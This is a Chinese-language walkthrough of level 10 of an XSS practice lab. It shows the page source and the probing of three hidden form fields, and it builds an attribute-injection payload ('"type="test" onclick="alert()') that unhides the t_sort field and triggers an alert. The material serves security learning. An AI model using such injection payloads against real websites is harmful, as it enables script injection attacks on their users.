<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和well done!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:10</h3></body>
</html>

从源码中可以看出有三个输入框,但是在页面没有显示,我们可以试试从这三个输入框入手。
http://192.168.199.153/xss/level10.php?keyword=well%20done!&t_link=123
<input name="t_link" value="" type="hidden">
http://192.168.199.153/xss/level10.php?keyword=well%20done!t_history=123
<input name="t_history" value="" type="hidden">
http://192.168.199.153/xss/level10.php?keyword=well%20done!&t_sort=123
<input name="t_sort" value="123" type="hidden">
测试完后,发现只有 t_sort 可以赋值value值。
我们先排除一下看那些代码不可以使用。
' " onclick alert() href script <> 测试这几个,发现<> 被过滤掉了。
既然有了value值,先使用onclick试一下。
&"onclick=alert() // & 是不同参数的分割符

没有进行弾窗,也没出现输入框。
发现输入的内容给输出到页面了,再次查看源码,看一下t_sort这个输入框的内容。发现type="hidden" 给隐藏了,我们重新把type定义一个。
"type="test" onclick="alert()

输入框显示出来了。

点击输入框,成功弹窗!
浙公网安备 33010602011771号